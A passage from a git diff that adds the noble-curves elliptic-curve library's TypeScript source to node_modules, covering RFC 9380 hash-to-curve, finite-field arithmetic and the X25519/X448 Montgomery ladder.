{ + if (dst instanceof Uint8Array) return dst; + if (typeof dst === 'string') return utf8ToBytes(dst); + throw new Error('DST must be Uint8Array or string'); +} + +// Octet Stream to Integer. "spec" implementation of os2ip is 2.5x slower vs bytesToNumberBE. +const os2ip = bytesToNumberBE; + +// Integer to Octet Stream (numberToBytesBE) +function i2osp(value: number, length: number): Uint8Array { + if (value < 0 || value >= 1 << (8 * length)) { + throw new Error(`bad I2OSP call: value=${value} length=${length}`); + } + const res = Array.from({ length }).fill(0) as number[]; + for (let i = length - 1; i >= 0; i--) { + res[i] = value & 0xff; + value >>>= 8; + } + return new Uint8Array(res); +} + +function strxor(a: Uint8Array, b: Uint8Array): Uint8Array { + const arr = new Uint8Array(a.length); + for (let i = 0; i < a.length; i++) { + arr[i] = a[i] ^ b[i]; + } + return arr; +} + +function isBytes(item: unknown): void { + if (!(item instanceof Uint8Array)) throw new Error('Uint8Array expected'); +} +function isNum(item: unknown): void { + if (!Number.isSafeInteger(item)) throw new Error('number expected'); +} + +// Produces a uniformly random byte string using a cryptographic hash function H that outputs b bits +// https://www.rfc-editor.org/rfc/rfc9380#section-5.3.1 +export function expand_message_xmd( + msg: Uint8Array, + DST: Uint8Array, + lenInBytes: number, + H: CHash +): Uint8Array { + isBytes(msg); + isBytes(DST); + isNum(lenInBytes); + // https://www.rfc-editor.org/rfc/rfc9380#section-5.3.3 + if (DST.length > 255) DST = H(concatBytes(utf8ToBytes('H2C-OVERSIZE-DST-'), DST)); + const { outputLen: b_in_bytes, blockLen: r_in_bytes } = H; + const ell = Math.ceil(lenInBytes / b_in_bytes); + if (ell > 255) throw new Error('Invalid xmd length'); + const DST_prime = concatBytes(DST, i2osp(DST.length, 1)); + const Z_pad = i2osp(0, r_in_bytes); + const l_i_b_str = i2osp(lenInBytes, 2); // len_in_bytes_str + const b = new Array(ell); + const b_0 = H(concatBytes(Z_pad, msg, l_i_b_str, i2osp(0, 1), DST_prime)); + b[0] = H(concatBytes(b_0, i2osp(1, 1), DST_prime)); + for (let i = 1; i <= ell; i++) { + const args = [strxor(b_0, b[i - 1]), i2osp(i + 1, 1), DST_prime]; + b[i] = H(concatBytes(...args)); + } + const pseudo_random_bytes = concatBytes(...b); + return pseudo_random_bytes.slice(0, lenInBytes); +} + +// Produces a uniformly random byte string using an extendable-output function (XOF) H. +// 1. The collision resistance of H MUST be at least k bits. +// 2. H MUST be an XOF that has been proved indifferentiable from +// a random oracle under a reasonable cryptographic assumption. +// https://www.rfc-editor.org/rfc/rfc9380#section-5.3.2 +export function expand_message_xof( + msg: Uint8Array, + DST: Uint8Array, + lenInBytes: number, + k: number, + H: CHash +): Uint8Array { + isBytes(msg); + isBytes(DST); + isNum(lenInBytes); + // https://www.rfc-editor.org/rfc/rfc9380#section-5.3.3 + // DST = H('H2C-OVERSIZE-DST-' || a_very_long_DST, Math.ceil((lenInBytes * k) / 8)); + if (DST.length > 255) { + const dkLen = Math.ceil((2 * k) / 8); + DST = H.create({ dkLen }).update(utf8ToBytes('H2C-OVERSIZE-DST-')).update(DST).digest(); + } + if (lenInBytes > 65535 || DST.length > 255) + throw new Error('expand_message_xof: invalid lenInBytes'); + return ( + H.create({ dkLen: lenInBytes }) + .update(msg) + .update(i2osp(lenInBytes, 2)) + // 2. DST_prime = DST || I2OSP(len(DST), 1) + .update(DST) + .update(i2osp(DST.length, 1)) + .digest() + ); +} + +/** + * Hashes arbitrary-length byte strings to a list of one or more elements of a finite field F + * https://www.rfc-editor.org/rfc/rfc9380#section-5.2 + * @param msg a byte string containing the message to hash + * @param count the number of elements of F to output + * @param options `{DST: string, p: bigint, m: number, k: number, expand: 'xmd' | 'xof', hash: H}`, see above + * @returns [u_0, ..., u_(count - 1)], a list of field elements. + */ +export function hash_to_field(msg: Uint8Array, count: number, options: Opts): bigint[][] { + validateObject(options, { + DST: 'stringOrUint8Array', + p: 'bigint', + m: 'isSafeInteger', + k: 'isSafeInteger', + hash: 'hash', + }); + const { p, k, m, hash, expand, DST: _DST } = options; + isBytes(msg); + isNum(count); + const DST = validateDST(_DST); + const log2p = p.toString(2).length; + const L = Math.ceil((log2p + k) / 8); // section 5.1 of ietf draft link above + const len_in_bytes = count * m * L; + let prb; // pseudo_random_bytes + if (expand === 'xmd') { + prb = expand_message_xmd(msg, DST, len_in_bytes, hash); + } else if (expand === 'xof') { + prb = expand_message_xof(msg, DST, len_in_bytes, k, hash); + } else if (expand === '_internal_pass') { + // for internal tests only + prb = msg; + } else { + throw new Error('expand must be "xmd" or "xof"'); + } + const u = new Array(count); + for (let i = 0; i < count; i++) { + const e = new Array(m); + for (let j = 0; j < m; j++) { + const elm_offset = L * (j + i * m); + const tv = prb.subarray(elm_offset, elm_offset + L); + e[j] = mod(os2ip(tv), p); + } + u[i] = e; + } + return u; +} + +export function isogenyMap>(field: F, map: [T[], T[], T[], T[]]) { + // Make same order as in spec + const COEFF = map.map((i) => Array.from(i).reverse()); + return (x: T, y: T) => { + const [xNum, xDen, yNum, yDen] = COEFF.map((val) => + val.reduce((acc, i) => field.add(field.mul(acc, x), i)) + ); + x = field.div(xNum, xDen); // xNum / xDen + y = field.mul(y, field.div(yNum, yDen)); // y * (yNum / yDev) + return { x, y }; + }; +} + +export interface H2CPoint extends Group> { + add(rhs: H2CPoint): H2CPoint; + toAffine(iz?: bigint): AffinePoint; + clearCofactor(): H2CPoint; + assertValidity(): void; +} + +export interface H2CPointConstructor extends GroupConstructor> { + fromAffine(ap: AffinePoint): H2CPoint; +} + +export type MapToCurve = (scalar: bigint[]) => AffinePoint; + +// Separated from initialization opts, so users won't accidentally change per-curve parameters +// (changing DST is ok!) +export type htfBasicOpts = { DST: UnicodeOrBytes }; + +export function createHasher( + Point: H2CPointConstructor, + mapToCurve: MapToCurve, + def: Opts & { encodeDST?: UnicodeOrBytes } +) { + if (typeof mapToCurve !== 'function') throw new Error('mapToCurve() must be defined'); + return { + // Encodes byte string to elliptic curve. + // hash_to_curve from https://www.rfc-editor.org/rfc/rfc9380#section-3 + hashToCurve(msg: Uint8Array, options?: htfBasicOpts) { + const u = hash_to_field(msg, 2, { ...def, DST: def.DST, ...options } as Opts); + const u0 = Point.fromAffine(mapToCurve(u[0])); + const u1 = Point.fromAffine(mapToCurve(u[1])); + const P = u0.add(u1).clearCofactor(); + P.assertValidity(); + return P; + }, + + // Encodes byte string to elliptic curve. + // encode_to_curve from https://www.rfc-editor.org/rfc/rfc9380#section-3 + encodeToCurve(msg: Uint8Array, options?: htfBasicOpts) { + const u = hash_to_field(msg, 1, { ...def, DST: def.encodeDST, ...options } as Opts); + const P = Point.fromAffine(mapToCurve(u[0])).clearCofactor(); + P.assertValidity(); + return P; + }, + }; +} diff --git a/node_modules/@noble/curves/src/abstract/modular.ts b/node_modules/@noble/curves/src/abstract/modular.ts new file mode 100644 index 000000000000..ddafcd9a0840 --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/modular.ts @@ -0,0 +1,484 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Utilities for modular arithmetics and finite fields +import { + bitMask, + numberToBytesBE, + numberToBytesLE, + bytesToNumberBE, + bytesToNumberLE, + ensureBytes, + validateObject, +} from './utils.js'; +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3); +// prettier-ignore +const _4n = BigInt(4), _5n = BigInt(5), _8n = BigInt(8); +// prettier-ignore +const _9n = BigInt(9), _16n = BigInt(16); + +// Calculates a modulo b +export function mod(a: bigint, b: bigint): bigint { + const result = a % b; + return result >= _0n ? result : b + result; +} +/** + * Efficiently raise num to power and do modular division. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + * @example + * pow(2n, 6n, 11n) // 64n % 11n == 9n + */ +// TODO: use field version && remove +export function pow(num: bigint, power: bigint, modulo: bigint): bigint { + if (modulo <= _0n || power < _0n) throw new Error('Expected power/modulo > 0'); + if (modulo === _1n) return _0n; + let res = _1n; + while (power > _0n) { + if (power & _1n) res = (res * num) % modulo; + num = (num * num) % modulo; + power >>= _1n; + } + return res; +} + +// Does x ^ (2 ^ power) mod p. pow2(30, 4) == 30 ^ (2 ^ 4) +export function pow2(x: bigint, power: bigint, modulo: bigint): bigint { + let res = x; + while (power-- > _0n) { + res *= res; + res %= modulo; + } + return res; +} + +// Inverses number over modulo +export function invert(number: bigint, modulo: bigint): bigint { + if (number === _0n || modulo <= _0n) { + throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`); + } + // Euclidean GCD https://brilliant.org/wiki/extended-euclidean-algorithm/ + // Fermat's little theorem "CT-like" version inv(n) = n^(m-2) mod m is 30x slower. + let a = mod(number, modulo); + let b = modulo; + // prettier-ignore + let x = _0n, y = _1n, u = _1n, v = _0n; + while (a !== _0n) { + // JIT applies optimization if those two lines follow each other + const q = b / a; + const r = b % a; + const m = x - u * q; + const n = y - v * q; + // prettier-ignore + b = a, a = r, x = u, y = v, u = m, v = n; + } + const gcd = b; + if (gcd !== _1n) throw new Error('invert: does not exist'); + return mod(x, modulo); +} + +/** + * Tonelli-Shanks square root search algorithm. + * 1. https://eprint.iacr.org/2012/685.pdf (page 12) + * 2. Square Roots from 1; 24, 51, 10 to Dan Shanks + * Will start an infinite loop if field order P is not prime. + * @param P field order + * @returns function that takes field Fp (created from P) and number n + */ +export function tonelliShanks(P: bigint) { + // Legendre constant: used to calculate Legendre symbol (a | p), + // which denotes the value of a^((p-1)/2) (mod p). + // (a | p) ≡ 1 if a is a square (mod p) + // (a | p) ≡ -1 if a is not a square (mod p) + // (a | p) ≡ 0 if a ≡ 0 (mod p) + const legendreC = (P - _1n) / _2n; + + let Q: bigint, S: number, Z: bigint; + // Step 1: By factoring out powers of 2 from p - 1, + // find q and s such that p - 1 = q*(2^s) with q odd + for (Q = P - _1n, S = 0; Q % _2n === _0n; Q /= _2n, S++); + + // Step 2: Select a non-square z such that (z | p) ≡ -1 and set c ≡ zq + for (Z = _2n; Z < P && pow(Z, legendreC, P) !== P - _1n; Z++); + + // Fast-path + if (S === 1) { + const p1div4 = (P + _1n) / _4n; + return function tonelliFast(Fp: IField, n: T) { + const root = Fp.pow(n, p1div4); + if (!Fp.eql(Fp.sqr(root), n)) throw new Error('Cannot find square root'); + return root; + }; + } + + // Slow-path + const Q1div2 = (Q + _1n) / _2n; + return function tonelliSlow(Fp: IField, n: T): T { + // Step 0: Check that n is indeed a square: (n | p) should not be ≡ -1 + if (Fp.pow(n, legendreC) === Fp.neg(Fp.ONE)) throw new Error('Cannot find square root'); + let r = S; + // TODO: will fail at Fp2/etc + let g = Fp.pow(Fp.mul(Fp.ONE, Z), Q); // will update both x and b + let x = Fp.pow(n, Q1div2); // first guess at the square root + let b = Fp.pow(n, Q); // first guess at the fudge factor + + while (!Fp.eql(b, Fp.ONE)) { + if (Fp.eql(b, Fp.ZERO)) return Fp.ZERO; // https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm (4. If t = 0, return r = 0) + // Find m such b^(2^m)==1 + let m = 1; + for (let t2 = Fp.sqr(b); m < r; m++) { + if (Fp.eql(t2, Fp.ONE)) break; + t2 = Fp.sqr(t2); // t2 *= t2 + } + // NOTE: r-m-1 can be bigger than 32, need to convert to bigint before shift, otherwise there will be overflow + const ge = Fp.pow(g, _1n << BigInt(r - m - 1)); // ge = 2^(r-m-1) + g = Fp.sqr(ge); // g = ge * ge + x = Fp.mul(x, ge); // x *= ge + b = Fp.mul(b, g); // b *= g + r = m; + } + return x; + }; +} + +export function FpSqrt(P: bigint) { + // NOTE: different algorithms can give different roots, it is up to user to decide which one they want. + // For example there is FpSqrtOdd/FpSqrtEven to choice root based on oddness (used for hash-to-curve). + + // P ≡ 3 (mod 4) + // √n = n^((P+1)/4) + if (P % _4n === _3n) { + // Not all roots possible! + // const ORDER = + // 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaabn; + // const NUM = 72057594037927816n; + const p1div4 = (P + _1n) / _4n; + return function sqrt3mod4(Fp: IField, n: T) { + const root = Fp.pow(n, p1div4); + // Throw if root**2 != n + if (!Fp.eql(Fp.sqr(root), n)) throw new Error('Cannot find square root'); + return root; + }; + } + + // Atkin algorithm for q ≡ 5 (mod 8), https://eprint.iacr.org/2012/685.pdf (page 10) + if (P % _8n === _5n) { + const c1 = (P - _5n) / _8n; + return function sqrt5mod8(Fp: IField, n: T) { + const n2 = Fp.mul(n, _2n); + const v = Fp.pow(n2, c1); + const nv = Fp.mul(n, v); + const i = Fp.mul(Fp.mul(nv, _2n), v); + const root = Fp.mul(nv, Fp.sub(i, Fp.ONE)); + if (!Fp.eql(Fp.sqr(root), n)) throw new Error('Cannot find square root'); + return root; + }; + } + + // P ≡ 9 (mod 16) + if (P % _16n === _9n) { + // NOTE: tonelli is too slow for bls-Fp2 calculations even on start + // Means we cannot use sqrt for constants at all! + // + // const c1 = Fp.sqrt(Fp.negate(Fp.ONE)); // 1. c1 = sqrt(-1) in F, i.e., (c1^2) == -1 in F + // const c2 = Fp.sqrt(c1); // 2. c2 = sqrt(c1) in F, i.e., (c2^2) == c1 in F + // const c3 = Fp.sqrt(Fp.negate(c1)); // 3. c3 = sqrt(-c1) in F, i.e., (c3^2) == -c1 in F + // const c4 = (P + _7n) / _16n; // 4. c4 = (q + 7) / 16 # Integer arithmetic + // sqrt = (x) => { + // let tv1 = Fp.pow(x, c4); // 1. tv1 = x^c4 + // let tv2 = Fp.mul(c1, tv1); // 2. tv2 = c1 * tv1 + // const tv3 = Fp.mul(c2, tv1); // 3. tv3 = c2 * tv1 + // let tv4 = Fp.mul(c3, tv1); // 4. tv4 = c3 * tv1 + // const e1 = Fp.equals(Fp.square(tv2), x); // 5. e1 = (tv2^2) == x + // const e2 = Fp.equals(Fp.square(tv3), x); // 6. e2 = (tv3^2) == x + // tv1 = Fp.cmov(tv1, tv2, e1); // 7. tv1 = CMOV(tv1, tv2, e1) # Select tv2 if (tv2^2) == x + // tv2 = Fp.cmov(tv4, tv3, e2); // 8. tv2 = CMOV(tv4, tv3, e2) # Select tv3 if (tv3^2) == x + // const e3 = Fp.equals(Fp.square(tv2), x); // 9. e3 = (tv2^2) == x + // return Fp.cmov(tv1, tv2, e3); // 10. z = CMOV(tv1, tv2, e3) # Select the sqrt from tv1 and tv2 + // } + } + + // Other cases: Tonelli-Shanks algorithm + return tonelliShanks(P); +} + +// Little-endian check for first LE bit (last BE bit); +export const isNegativeLE = (num: bigint, modulo: bigint) => (mod(num, modulo) & _1n) === _1n; + +// Field is not always over prime: for example, Fp2 has ORDER(q)=p^m +export interface IField { + ORDER: bigint; + BYTES: number; + BITS: number; + MASK: bigint; + ZERO: T; + ONE: T; + // 1-arg + create: (num: T) => T; + isValid: (num: T) => boolean; + is0: (num: T) => boolean; + neg(num: T): T; + inv(num: T): T; + sqrt(num: T): T; + sqr(num: T): T; + // 2-args + eql(lhs: T, rhs: T): boolean; + add(lhs: T, rhs: T): T; + sub(lhs: T, rhs: T): T; + mul(lhs: T, rhs: T | bigint): T; + pow(lhs: T, power: bigint): T; + div(lhs: T, rhs: T | bigint): T; + // N for NonNormalized (for now) + addN(lhs: T, rhs: T): T; + subN(lhs: T, rhs: T): T; + mulN(lhs: T, rhs: T | bigint): T; + sqrN(num: T): T; + + // Optional + // Should be same as sgn0 function in + // [RFC9380](https://www.rfc-editor.org/rfc/rfc9380#section-4.1). + // NOTE: sgn0 is 'negative in LE', which is same as odd. And negative in LE is kinda strange definition anyway. + isOdd?(num: T): boolean; // Odd instead of even since we have it for Fp2 + // legendre?(num: T): T; + pow(lhs: T, power: bigint): T; + invertBatch: (lst: T[]) => T[]; + toBytes(num: T): Uint8Array; + fromBytes(bytes: Uint8Array): T; + // If c is False, CMOV returns a, otherwise it returns b. + cmov(a: T, b: T, c: boolean): T; +} +// prettier-ignore +const FIELD_FIELDS = [ + 'create', 'isValid', 'is0', 'neg', 'inv', 'sqrt', 'sqr', + 'eql', 'add', 'sub', 'mul', 'pow', 'div', + 'addN', 'subN', 'mulN', 'sqrN' +] as const; +export function validateField(field: IField) { + const initial = { + ORDER: 'bigint', + MASK: 'bigint', + BYTES: 'isSafeInteger', + BITS: 'isSafeInteger', + } as Record; + const opts = FIELD_FIELDS.reduce((map, val: string) => { + map[val] = 'function'; + return map; + }, initial); + return validateObject(field, opts); +} + +// Generic field functions + +/** + * Same as `pow` but for Fp: non-constant-time. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + */ +export function FpPow(f: IField, num: T, power: bigint): T { + // Should have same speed as pow for bigints + // TODO: benchmark! + if (power < _0n) throw new Error('Expected power > 0'); + if (power === _0n) return f.ONE; + if (power === _1n) return num; + let p = f.ONE; + let d = num; + while (power > _0n) { + if (power & _1n) p = f.mul(p, d); + d = f.sqr(d); + power >>= _1n; + } + return p; +} + +/** + * Efficiently invert an array of Field elements. + * `inv(0)` will return `undefined` here: make sure to throw an error. + */ +export function FpInvertBatch(f: IField, nums: T[]): T[] { + const tmp = new Array(nums.length); + // Walk from first to last, multiply them by each other MOD p + const lastMultiplied = nums.reduce((acc, num, i) => { + if (f.is0(num)) return acc; + tmp[i] = acc; + return f.mul(acc, num); + }, f.ONE); + // Invert last element + const inverted = f.inv(lastMultiplied); + // Walk from last to first, multiply them by inverted each other MOD p + nums.reduceRight((acc, num, i) => { + if (f.is0(num)) return acc; + tmp[i] = f.mul(acc, tmp[i]); + return f.mul(acc, num); + }, inverted); + return tmp; +} + +export function FpDiv(f: IField, lhs: T, rhs: T | bigint): T { + return f.mul(lhs, typeof rhs === 'bigint' ? invert(rhs, f.ORDER) : f.inv(rhs)); +} + +// This function returns True whenever the value x is a square in the field F. +export function FpIsSquare(f: IField) { + const legendreConst = (f.ORDER - _1n) / _2n; // Integer arithmetic + return (x: T): boolean => { + const p = f.pow(x, legendreConst); + return f.eql(p, f.ZERO) || f.eql(p, f.ONE); + }; +} + +// CURVE.n lengths +export function nLength(n: bigint, nBitLength?: number) { + // Bit size, byte size of CURVE.n + const _nBitLength = nBitLength !== undefined ? nBitLength : n.toString(2).length; + const nByteLength = Math.ceil(_nBitLength / 8); + return { nBitLength: _nBitLength, nByteLength }; +} + +type FpField = IField & Required, 'isOdd'>>; +/** + * Initializes a finite field over prime. **Non-primes are not supported.** + * Do not init in loop: slow. Very fragile: always run a benchmark on a change. + * Major performance optimizations: + * * a) denormalized operations like mulN instead of mul + * * b) same object shape: never add or remove keys + * * c) Object.freeze + * @param ORDER prime positive bigint + * @param bitLen how many bits the field consumes + * @param isLE (def: false) if encoding / decoding should be in little-endian + * @param redef optional faster redefinitions of sqrt and other methods + */ +export function Field( + ORDER: bigint, + bitLen?: number, + isLE = false, + redef: Partial> = {} +): Readonly { + if (ORDER <= _0n) throw new Error(`Expected Field ORDER > 0, got ${ORDER}`); + const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, bitLen); + if (BYTES > 2048) throw new Error('Field lengths over 2048 bytes are not supported'); + const sqrtP = FpSqrt(ORDER); + const f: Readonly = Object.freeze({ + ORDER, + BITS, + BYTES, + MASK: bitMask(BITS), + ZERO: _0n, + ONE: _1n, + create: (num) => mod(num, ORDER), + isValid: (num) => { + if (typeof num !== 'bigint') + throw new Error(`Invalid field element: expected bigint, got ${typeof num}`); + return _0n <= num && num < ORDER; // 0 is valid element, but it's not invertible + }, + is0: (num) => num === _0n, + isOdd: (num) => (num & _1n) === _1n, + neg: (num) => mod(-num, ORDER), + eql: (lhs, rhs) => lhs === rhs, + + sqr: (num) => mod(num * num, ORDER), + add: (lhs, rhs) => mod(lhs + rhs, ORDER), + sub: (lhs, rhs) => mod(lhs - rhs, ORDER), + mul: (lhs, rhs) => mod(lhs * rhs, ORDER), + pow: (num, power) => FpPow(f, num, power), + div: (lhs, rhs) => mod(lhs * invert(rhs, ORDER), ORDER), + + // Same as above, but doesn't normalize + sqrN: (num) => num * num, + addN: (lhs, rhs) => lhs + rhs, + subN: (lhs, rhs) => lhs - rhs, + mulN: (lhs, rhs) => lhs * rhs, + + inv: (num) => invert(num, ORDER), + sqrt: redef.sqrt || ((n) => sqrtP(f, n)), + invertBatch: (lst) => FpInvertBatch(f, lst), + // TODO: do we really need constant cmov? + // We don't have const-time bigints anyway, so probably will be not very useful + cmov: (a, b, c) => (c ? b : a), + toBytes: (num) => (isLE ? numberToBytesLE(num, BYTES) : numberToBytesBE(num, BYTES)), + fromBytes: (bytes) => { + if (bytes.length !== BYTES) + throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`); + return isLE ? bytesToNumberLE(bytes) : bytesToNumberBE(bytes); + }, + } as FpField); + return Object.freeze(f); +} + +export function FpSqrtOdd(Fp: IField, elm: T) { + if (!Fp.isOdd) throw new Error(`Field doesn't have isOdd`); + const root = Fp.sqrt(elm); + return Fp.isOdd(root) ? root : Fp.neg(root); +} + +export function FpSqrtEven(Fp: IField, elm: T) { + if (!Fp.isOdd) throw new Error(`Field doesn't have isOdd`); + const root = Fp.sqrt(elm); + return Fp.isOdd(root) ? Fp.neg(root) : root; +} + +/** + * "Constant-time" private key generation utility. + * Same as mapKeyToField, but accepts less bytes (40 instead of 48 for 32-byte field). + * Which makes it slightly more biased, less secure. + * @deprecated use mapKeyToField instead + */ +export function hashToPrivateScalar( + hash: string | Uint8Array, + groupOrder: bigint, + isLE = false +): bigint { + hash = ensureBytes('privateHash', hash); + const hashLen = hash.length; + const minLen = nLength(groupOrder).nByteLength + 8; + if (minLen < 24 || hashLen < minLen || hashLen > 1024) + throw new Error(`hashToPrivateScalar: expected ${minLen}-1024 bytes of input, got ${hashLen}`); + const num = isLE ? bytesToNumberLE(hash) : bytesToNumberBE(hash); + return mod(num, groupOrder - _1n) + _1n; +} + +/** + * Returns total number of bytes consumed by the field element. + * For example, 32 bytes for usual 256-bit weierstrass curve. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of field + */ +export function getFieldBytesLength(fieldOrder: bigint): number { + if (typeof fieldOrder !== 'bigint') throw new Error('field order must be bigint'); + const bitLength = fieldOrder.toString(2).length; + return Math.ceil(bitLength / 8); +} + +/** + * Returns minimal amount of bytes that can be safely reduced + * by field order. + * Should be 2^-128 for 128-bit curve such as P256. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of target hash + */ +export function getMinHashLength(fieldOrder: bigint): number { + const length = getFieldBytesLength(fieldOrder); + return length + Math.ceil(length / 2); +} + +/** + * "Constant-time" private key generation utility. + * Can take (n + n/2) or more bytes of uniform input e.g. from CSPRNG or KDF + * and convert them into private scalar, with the modulo bias being negligible. + * Needs at least 48 bytes of input for 32-byte private key. + * https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/ + * FIPS 186-5, A.2 https://csrc.nist.gov/publications/detail/fips/186/5/final + * RFC 9380, https://www.rfc-editor.org/rfc/rfc9380#section-5 + * @param hash hash output from SHA3 or a similar function + * @param groupOrder size of subgroup - (e.g. secp256k1.CURVE.n) + * @param isLE interpret hash bytes as LE num + * @returns valid private scalar + */ +export function mapHashToField(key: Uint8Array, fieldOrder: bigint, isLE = false): Uint8Array { + const len = key.length; + const fieldLen = getFieldBytesLength(fieldOrder); + const minLen = getMinHashLength(fieldOrder); + // No small numbers: need to understand bias story. No huge numbers: easier to detect JS timings. + if (len < 16 || len < minLen || len > 1024) + throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`); + const num = isLE ? bytesToNumberBE(key) : bytesToNumberLE(key); + // `mod(x, 11)` can sometimes produce 0. `mod(x, 10) + 1` is the same, but no 0 + const reduced = mod(num, fieldOrder - _1n) + _1n; + return isLE ? numberToBytesLE(reduced, fieldLen) : numberToBytesBE(reduced, fieldLen); +} diff --git a/node_modules/@noble/curves/src/abstract/montgomery.ts b/node_modules/@noble/curves/src/abstract/montgomery.ts new file mode 100644 index 000000000000..64d1b531d2f3 --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/montgomery.ts @@ -0,0 +1,189 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { mod, pow } from './modular.js'; +import { bytesToNumberLE, ensureBytes, numberToBytesLE, validateObject } from './utils.js'; + +const _0n = BigInt(0); +const _1n = BigInt(1); +type Hex = string | Uint8Array; + +export type CurveType = { + P: bigint; // finite field prime + nByteLength: number; + adjustScalarBytes?: (bytes: Uint8Array) => Uint8Array; + domain?: (data: Uint8Array, ctx: Uint8Array, phflag: boolean) => Uint8Array; + a: bigint; + montgomeryBits: number; + powPminus2?: (x: bigint) => bigint; + xyToU?: (x: bigint, y: bigint) => bigint; + Gu: bigint; + randomBytes?: (bytesLength?: number) => Uint8Array; +}; +export type CurveFn = { + scalarMult: (scalar: Hex, u: Hex) => Uint8Array; + scalarMultBase: (scalar: Hex) => Uint8Array; + getSharedSecret: (privateKeyA: Hex, publicKeyB: Hex) => Uint8Array; + getPublicKey: (privateKey: Hex) => Uint8Array; + utils: { randomPrivateKey: () => Uint8Array }; + GuBytes: Uint8Array; +}; + +function validateOpts(curve: CurveType) { + validateObject( + curve, + { + a: 'bigint', + }, + { + montgomeryBits: 'isSafeInteger', + nByteLength: 'isSafeInteger', + adjustScalarBytes: 'function', + domain: 'function', + powPminus2: 'function', + Gu: 'bigint', + } + ); + // Set defaults + return Object.freeze({ ...curve } as const); +} + +// NOTE: not really montgomery curve, just bunch of very specific methods for X25519/X448 (RFC 7748, https://www.rfc-editor.org/rfc/rfc7748) +// Uses only one coordinate instead of two +export function montgomery(curveDef: CurveType): CurveFn { + const CURVE = validateOpts(curveDef); + const { P } = CURVE; + const modP = (n: bigint) => mod(n, P); + const montgomeryBits = CURVE.montgomeryBits; + const montgomeryBytes = Math.ceil(montgomeryBits / 8); + const fieldLen = CURVE.nByteLength; + const adjustScalarBytes = CURVE.adjustScalarBytes || ((bytes: Uint8Array) => bytes); + const powPminus2 = CURVE.powPminus2 || ((x: bigint) => pow(x, P - BigInt(2), P)); + + // cswap from RFC7748. But it is not from RFC7748! + /* + cswap(swap, x_2, x_3): + dummy = mask(swap) AND (x_2 XOR x_3) + x_2 = x_2 XOR dummy + x_3 = x_3 XOR dummy + Return (x_2, x_3) + Where mask(swap) is the all-1 or all-0 word of the same length as x_2 + and x_3, computed, e.g., as mask(swap) = 0 - swap. + */ + function cswap(swap: bigint, x_2: bigint, x_3: bigint): [bigint, bigint] { + const dummy = modP(swap * (x_2 - x_3)); + x_2 = modP(x_2 - dummy); + x_3 = modP(x_3 + dummy); + return [x_2, x_3]; + } + + // Accepts 0 as well + function assertFieldElement(n: bigint): bigint { + if (typeof n === 'bigint' && _0n <= n && n < P) return n; + throw new Error('Expected valid scalar 0 < scalar < CURVE.P'); + } + + // x25519 from 4 + // The constant a24 is (486662 - 2) / 4 = 121665 for curve25519/X25519 + const a24 = (CURVE.a - BigInt(2)) / BigInt(4); + /** + * + * @param pointU u coordinate (x) on Montgomery Curve 25519 + * @param scalar by which the point would be multiplied + * @returns new Point on Montgomery curve + */ + function montgomeryLadder(pointU: bigint, scalar: bigint): bigint { + const u = assertFieldElement(pointU); + // Section 5: Implementations MUST accept non-canonical values and process them as + // if they had been reduced modulo the field prime. + const k = assertFieldElement(scalar); + const x_1 = u; + let x_2 = _1n; + let z_2 = _0n; + let x_3 = u; + let z_3 = _1n; + let swap = _0n; + let sw: [bigint, bigint]; + for (let t = BigInt(montgomeryBits - 1); t >= _0n; t--) { + const k_t = (k >> t) & _1n; + swap ^= k_t; + sw = cswap(swap, x_2, x_3); + x_2 = sw[0]; + x_3 = sw[1]; + sw = cswap(swap, z_2, z_3); + z_2 = sw[0]; + z_3 = sw[1]; + swap = k_t; + + const A = x_2 + z_2; + const AA = modP(A * A); + const B = x_2 - z_2; + const BB = modP(B * B); + const E = AA - BB; + const C = x_3 + z_3; + const D = x_3 - z_3; + const DA = modP(D * A); + const CB = modP(C * B); + const dacb = DA + CB; + const da_cb = DA - CB; + x_3 = modP(dacb * dacb); + z_3 = modP(x_1 * modP(da_cb * da_cb)); + x_2 = modP(AA * BB); + z_2 = modP(E * (AA + modP(a24 * E))); + } + // (x_2, x_3) = cswap(swap, x_2, x_3) + sw = cswap(swap, x_2, x_3); + x_2 = sw[0]; + x_3 = sw[1]; + // (z_2, z_3) = cswap(swap, z_2, z_3) + sw = cswap(swap, z_2, z_3); + z_2 = sw[0]; + z_3 = sw[1]; + // z_2^(p - 2) + const z2 = powPminus2(z_2); + // Return x_2 * (z_2^(p - 2)) + return modP(x_2 * z2); + } + + function encodeUCoordinate(u: bigint): Uint8Array { + return numberToBytesLE(modP(u), montgomeryBytes); + } + + function decodeUCoordinate(uEnc: Hex): bigint { + // Section 5: When receiving such an array, implementations of X25519 + // MUST mask the most significant bit in the final byte. + // This is very ugly way, but it works because fieldLen-1 is outside of bounds for X448, so this becomes NOOP + // fieldLen - scalaryBytes = 1 for X448 and = 0 for X25519 + const u = ensureBytes('u coordinate', uEnc, montgomeryBytes); + // u[fieldLen-1] crashes QuickJS (TypeError: out-of-bound numeric index) + if (fieldLen === montgomeryBytes) u[fieldLen - 1] &= 127; // 0b0111_1111 + return bytesToNumberLE(u); + } + function decodeScalar(n: Hex): bigint { + const bytes = ensureBytes('scalar', n); + if (bytes.length !== montgomeryBytes && bytes.length !== fieldLen) + throw new Error(`Expected ${montgomeryBytes} or ${fieldLen} bytes, got ${bytes.length}`); + return bytesToNumberLE(adjustScalarBytes(bytes)); + } + function scalarMult(scalar: Hex, u: Hex): Uint8Array { + const pointU = decodeUCoordinate(u); + const _scalar = decodeScalar(scalar); + const pu = montgomeryLadder(pointU, _scalar); + // The result was not contributory + // 